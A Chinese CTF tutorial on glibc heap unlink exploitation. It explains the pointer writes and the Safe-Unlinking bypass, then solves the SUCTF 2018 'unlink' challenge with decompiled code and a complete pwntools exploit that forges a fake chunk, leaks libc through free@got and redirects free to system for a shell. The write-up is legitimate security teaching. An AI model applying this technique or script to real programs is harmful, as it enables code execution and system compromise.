unlink
1. 核心原理:glibc 的堆块管理机制
在 glibc 中,空闲堆块通过双向链表组织(fd 和 bk 指针)
struct malloc_chunk {
size_t prev_size; // 前一块大小
size_t size; // 当前块大小 + 标志位
struct malloc_chunk *fd; // 前向指针(指向链表中前一个空闲块)
struct malloc_chunk *bk; // 后向指针(指向链表中后一个空闲块)
};
当释放堆块时,glibc 会执行 unlink 操作将其从空闲链表移除:
在unlink操作中,我们有两个操作:
1. FD = P->fd // 即从P的0x10位置读取
2. BK = P->bk // 即从P的0x18位置读取
然后执行:
FD->bk = BK // 即把BK的值写入FD地址+0x18的位置
BK->fd = FD // 即把FD的值写入BK地址+0x10的位置
2. 攻击条件
- 堆溢出漏洞:可覆盖相邻堆块的头部数据(
prev_size和size) - 可控内存:能伪造堆块结构(控制
fd和bk指针) - 触发 unlink:需通过
free()或堆合并触发目标堆块的unlink操作
3. 攻击步骤图解
步骤 1:伪造堆块结构
假设存在堆块 A(易溢出)和 B(目标),在 A 中伪造一个空闲堆块:
伪造的堆块 P
+----------------+
A->data: | prev_size |
| size (含 PREV_INUSE=0) | -- 标记前一块为空闲
| fd = target - 3*sizeof(void*) |
| bk = target - 2*sizeof(void*) |
+----------------+
步骤 2:修改相邻堆块头
通过堆溢出修改 B 的头部:
B->prev_size = 伪造堆块大小 // 使系统认为 P 是空闲块
B->size &= ~PREV_INUSE // 清除 PREV_INUSE 标志位
步骤 3:触发 unlink
释放堆块 B 时,glibc 会:
- 检查
B->prev_inuse=0,认为前一块P空闲 - 尝试合并
P和B,触发unlink(P)
步骤 4:unlink 任意地址写
执行 unlink 操作时:
FD = P->fd = target - 0x18
BK = P->bk = target - 0x10
// 关键写操作:
FD->bk = BK --> *(target - 0x18 + 0x18) = target - 0x10
即 *target = target - 0x10
BK->fd = FD --> *(target - 0x10 + 0x10) = target - 0x18
即 *target = target - 0x18
最终 *target 被修改为 target - 0x18。
4. 现代 glibc 的防护与绕过
防护机制(Safe-Unlinking)
// glibc 2.3.6+ 的检查
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr ("corrupted double-linked list");
绕过方法
构造满足检查的伪造指针
P->fd = target - 0x18
P->bk = target - 0x10
// 提前在内存中布置:
*(target - 0x18 + 0x18) = P // 使 FD->bk == P
*(target - 0x10 + 0x10) = P // 使 BK->fd == P
5. 实战利用场景
场景:修改 GOT 表执行 shellcode
- 选择目标:
free@got.plt - 构造
target = free@got.plt - 触发
unlink后:*free@got.plt = free@got.plt - 0x18 - 通过堆操作写
free@got.plt区域:
# 此时 free@got.plt 指向自身 -0x18
write(free@got.plt + 0x18, shellcode_addr)
6.例题
[SUCTF 2018 招新赛]unlink
NSS上面的一道题
ida分析一下
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]
v5 = __readfsqword(0x28u);
init(argc, argv, envp);
puts("welcome to note system");
while ( 1 )
{
menu();
puts("please chooice :");
__isoc99_scanf("%d", &v4);
switch ( v4 )
{
case 1:
touch();
break;
case 2:
delete();
break;
case 3:
show();
break;
case 4:
take_note();
break;
case 5:
exit_0();
default:
puts("no such option");
break;
}
}
}
代码有四个功能,这里注意,在创建堆块的时候是不能写入内容的,要使用take_note功能
简单的笔记管理系统
进入touch看看
unsigned __int64 touch()
{
int v1; // [rsp+0h] [rbp-10h] BYREF
int i; // [rsp+4h] [rbp-Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
for ( i = 0; i <= 10 && (&buf)[i]; ++i )
{
if ( i == 10 )
{
puts("the node is full");
return __readfsqword(0x28u) ^ v3;
}
}
puts("please input the size : ");
if ( v1 >= 0 && v1 <= 512 )
{
__isoc99_scanf("%d", &v1);
(&buf)[i] = (char *)malloc(v1);
if ( (&buf)[i] )
puts("touch successfully");
}
return __readfsqword(0x28u) ^ v3;
}
这里查看buf
.bss:00000000006020C0 buf dq ? ; DATA XREF: touch+25↑r
.bss:00000000006020C0 ; touch+A2↑w ...
.bss:00000000006020C8 db ? ;
.bss:00000000006020C9 db ? ;
.bss:00000000006020CA db ? ;
.bss:00000000006020CB db ? ;
.bss:00000000006020CC db ? ;
.bss:00000000006020CD db ? ;
.bss:00000000006020CE db ? ;
.bss:00000000006020CF db ? ;
.bss:00000000006020D0 db ? ;
.bss:00000000006020D1 db ? ;
.bss:00000000006020D2 db ? ;
可以看到buf被写在了bss段上,它用于储存malloc申请下来的空间地址的指针
再看看take_note
unsigned __int64 take_note()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("which one do you want modify :");
__isoc99_scanf("%d", &v1);
if ( (&buf)[v1] != 0LL && v1 >= 0 && v1 <= 9 )
{
puts("please input the content");
read(0, (&buf)[v1], 0x100uLL);
}
return __readfsqword(0x28u) ^ v2;
}
首先分配两个0x80大小的堆块(实际chunk大小为0x90),形成以下内存布局:
chunk0: [prev_size | size] + 用户数据
chunk1: [prev_size | size] + 用户数据
构造fake_chunk 即我们上文所说的堆块P
pl = p64(0) + p64(0) + p64(0x6020c0 - 0x18) + p64(0x6020c0 - 0x10)
pl += b'a'*0x60 + p64(0x80) + p64(0x90)
take(0, pl)
内存布局长这样
chunk0:
[prev_size | size]
[0 | 0] # 用户数据开始
[fd = 0x6020a8] # 指向全局数组-0x18
[bk = 0x6020b0] # 指向全局数组-0x10
[aaa...] (60字节)
chunk1:
[prev_size = 0x80] # 被覆盖
[size = 0x90] # 清除PREV_INUSE位
detele(1)释放堆块后
系统会检查prev_inuse位,发现前一个chunk(fake chunk)"空闲",于是执行unlink操作:
// unlink宏操作
P->fd->bk = P->bk // (0x6020a8 + 0x18) = 0x6020b0
P->bk->fd = P->fd // (0x6020b0 + 0x10) = 0x6020a8
结果:全局数组指针被修改为指向自身-0x18的位置(0x6020a8)
take(0, b'/bin/sh\x00' + p64(0)*2 + p64(free_got) + p64(0x6020a8))
利用被修改的指针写入:
b'/bin/sh\x00':在0x6020a8处写入"/bin/sh"字符串p64(0)*2:填充0x6020b0和0x6020b8p64(free_got):将全局数组[0](0x6020c0)改为free@got地址p64(0x6020a8):将全局数组[1](0x6020c8)改为"/bin/sh"地址
此时全局数组变为:
0x6020c0: [free@got] // 原chunk0指针
0x6020c8: [0x6020a8] // 原chunk1指针(指向"/bin/sh"
泄露libc基地址
show(0)
free_addr = u64(rc(6).ljust(8, b'\x00'))
show(0)实际读取全局数组[0]指向的内容(free@got),泄露free函数的真实地址
libc_base = free_addr - libc.sym['free']
system = libc_base + libc.sym['system']
覆盖free@got
take(0, p64(system))
delete(1)实际调用:
free(全局数组[1]) → free(0x6020a8) → system("/bin/sh")
攻击流程图解
+-----------------+ +-----------------+
| chunk0 | | chunk1 |
| [prev_size|size]| | [prev_size|size]|
| fake FD/BK ptrs |------->| (PREV_INUSE=0) |
+-----------------+ +-----------------+
| |
| unlink操作 | delete(1)
v v
+-----------------+ +-----------------+
| 全局数组被修改 | | 劫持指针结构 |
| ptr0->free@got | | ptr1->/bin/sh |
+-----------------+ +-----------------+
| |
| show(0) | delete(1)
v v
+-----------------+ +-----------------+
| 泄露free地址 | | 调用system |
| 计算system地址 | | 获得shell |
+-----------------+ +-----------------+
exp:
from pwn import *
from LibcSearcher import*
context(arch = 'amd64', os = 'linux', log_level = 'debug')
context.terminal = ['tmux','splitw','-h']
io = process('./service')
io = remote('node4.anna.nssctf.cn',28838)
s = lambda content : io.send(content)
sl = lambda content : io.sendline(content)
sa = lambda content,send : io.sendafter(content, send)
sla = lambda content,send : io.sendlineafter(content, send)
rc = lambda number : io.recv(number)
ru = lambda content : io.recvuntil(content)
def slog(name, address): io.success(name+"==>"+hex(address))
def debug(): gdb.attach(io)
def touch(size):
sla(":\n", '1')
sla(": \n", str(size))
def delete(index):
sla(":\n", '2')
sla("delete\n", str(index))
def show(index):
sla(":\n", '3')
sla("show\n", str(index))
def take(index, content):
sla(":\n", '4')
sla("modify :\n", str(index))
sa("content\n", content)
elf = ELF('./service')
free_got = elf.got['free']
bss = 0x6020c0
touch(0x80) #0
touch(0x80) #1
pl = p64(0) + p64(0) + p64(0x6020c0 - 0x18) + p64(0x6020c0 - 0x10)#fake_chunk
pl += b'a'*0x60 + p64(0x80) + p64(0x90)
#覆盖chunk1,使得size位是0x90,size表示前一个堆块的大小,后三位标志位表示前一个堆块空闲,0x80是物理相邻的前一个堆块:fake_chunk的大小
#0x6020c0 (全局数组[0]): free@got 地址
take(0, pl)#unlink
delete(1)
take(0, b'/bin/sh\x00' + p64(0)*2 + p64(free_got) + p64(0x6020a8))
#将binsh写入0x6020a8
show(0)
ru(": \n")
free_addr = u64(rc(6).ljust(8, b'\x00'))
slog("free", free_addr)
libc = ELF('../tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
libc_base = free_addr - libc.sym['free']
system = libc_base + libc.sym['system']
take(0, p64(system))#修改got表
delete(1)#调用system
io.interactive()
低地址 高地址
┌───────────────────────┬───────────────────────┐
│ Chunk 0 用户数据 │ 全局变量区 │
├───────────┬───────────┼───────────┬───────────┤
│ /bin/sh │ 0x0 │ 0x0 │ free_got │
│ (8字节) │ (8字节) │ (8字节) │ (8字节) │
└───────────┴───────────┴───────────┴───────────┘
│ │
▼ ▼
[free@got.plt] [0x6020a8]
存储free函数地址 全局指针
思路总结:
我们构造了一个假堆块,并且使它的fd和bk分别为0x6020a8和0x6020b0
当 detele(1)由于chunk0内部的fake_chunk和chunk1的 PREV_INUSE标识位是0,所以会有一个类似于抽离出fake_chunk的操作
堆管理器会尝试把这个fake_chunk从空闲列表移除,但它只是个假堆块,没有真实合并内存
这里欺骗堆管理器,让他误以为fake chunk是一个空闲块,然后触发unlink
由于fd/bk指向全局变量,最终效果只是修改了ptr(0)
P:要移除的空闲块(在攻击中是伪造的 fake_chunk)
FD = P->fd:P 在空闲链表中的前一个块
BK = P->bk:P 在空闲链表中的后一个块
操作目标:把 P 从双向链表中移除,让 FD 和 BK 直接相连。
原本应该写入堆的数据(通过 take(0, data) 写入 chunk0 的用户数据区),被利用漏洞改写到伪造的地址 0x6020a8(全局变量附近)
通过 unlink 操作,我们修改了 ptr[0](chunk0 的指针),使其从指向堆变成指向 0x6020a8。
之后调用 take(0, data) 时,程序会向 ptr[0](即 0x6020a8)写入数据,而非原来的堆地址。
(1) FD->bk = BK 的计算
FD->bk = *(0x6020a8 + 0x18) = *(0x6020c0)
- 操作:向地址
0x6020c0写入BK的值(0x6020b0) - 效果:
ptr[0] = 0x6020b0(临时修改)
(2) BK->fd = FD 的计算
BK->fd = *(0x6020b0 + 0x10) = *(0x6020c0)
-
操作:向地址
0x6020c0写入FD的值(0x6020a8) -
效果:
ptr[0] = 0x6020a8(最终覆盖) -
FD = 0x6020a8→FD + 0x18 = 0x6020c0(ptr[0]地址) -
BK = 0x6020b0→BK + 0x10 = 0x6020c0(还是ptr[0]地址)
第

浙公网安备 33010602011771号